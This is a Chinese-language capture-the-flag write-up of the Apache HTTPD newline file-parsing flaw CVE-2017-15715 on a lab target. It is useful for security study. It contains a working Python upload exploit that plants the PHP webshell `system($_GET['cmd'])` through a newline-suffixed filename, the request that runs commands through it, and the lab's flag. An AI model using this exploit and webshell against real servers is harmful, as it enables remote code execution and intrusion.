解题报告:Apache HTTPD 解析漏洞(CVE-2017-15715)
平台 :玄机(xj.edisec.net)
难度 :简单
类型 :渗透
Flag :flag{0c6fb482-b0f2-46a1-ad80-420abc288738}
一、漏洞背景
CVE-2017-15715 是 Apache HTTP Server 2.4.0 至 2.4.29 版本中存在的一个文件解析漏洞。当文件名以换行符(\x0A)结尾时,Apache 的 mod_php 模块仍会将其识别为 PHP 文件并执行,从而绕过基于文件后缀名的黑名单过滤机制。
漏洞根本原因在于 Apache 对文件名的正则匹配中,
.php$模式在默认情况下允许$匹配换行符前的位置(而非严格的字符串末尾),导致shell.php\x0a被识别为 PHP 文件。
二、靶机信息
| 项目 | 值 |
|---|---|
| 靶机 IP | 43.192.168.223 |
| 服务端口 | 8081 |
| Apache 版本 | 2.4.10 (Debian) |
| 上传接口 | POST /(即 /index.php) |
| 上传字段 | file(文件内容)、name(保存文件名) |
三、漏洞利用过程
3.1 服务探测
访问 http://43.192.168.223:8081/ 返回一个简单的文件上传页面,包含两个字段:
file:选择上传的文件name:指定服务器端保存的文件名(默认值为evil.php)
服务器端代码逻辑为:move_uploaded_file($_FILES['file']['tmp_name'], './' . $_POST['name'])
3.2 绕过分析
服务器端对 name 字段进行了黑名单过滤,禁止直接上传 .php 后缀的文件。但由于 CVE-2017-15715,将文件名设置为 shell.php\x0a(含换行符)时:
- 上传阶段 :PHP 的
move_uploaded_file函数将文件保存为shell.php\x0a(含换行符的文件名) - 访问阶段 :Apache 的
mod_php在匹配文件处理器时,正则.php$匹配到shell.php($在多行模式下匹配换行符前的位置),将该文件作为 PHP 执行
3.3 利用步骤
步骤一:构造包含换行符的上传请求
python
import requests
TARGET = "http://43.192.168.223:8081"
webshell = b'<?php system($_GET["cmd"]); ?>'
resp = requests.post(
f"{TARGET}/",
files={'file': ('shell.php', webshell, 'image/jpeg')},
data={'name': 'shell.php\x0a'}, # 关键:name 字段含 \x0a
timeout=5
)
步骤二 :访问 webshell 执行命令(URL 中用 %0a 编码换行符)
GET http://43.192.168.223:8081/shell.php%0a?cmd=cat+/flag
步骤三:获取 Flag
flag{0c6fb482-b0f2-46a1-ad80-420abc288738}
四、关键技术细节
| 技术点 | 说明 |
|---|---|
| 换行符绕过 | name 字段值为 shell.php\x0a,PHP move_uploaded_file 保留换行符 |
| URL 访问 | 访问时使用 %0a 编码,即 /shell.php%0a |
| Apache 解析 | mod_php 的 AddHandler application/x-httpd-php .php 配置中,正则 \.php$ 在多行模式下匹配 shell.php\n |
五、修复建议
- 升级 Apache 至 2.4.30 及以上版本(官方已修复)
- 使用白名单 :仅允许特定后缀(如
.jpg、.png)的文件上传,而非黑名单 - 文件名过滤:对上传文件名进行严格的字符过滤,去除换行符、空字节等特殊字符
- 存储隔离:将上传目录设置为不可执行,禁止 Apache 在该目录下执行 PHP 脚本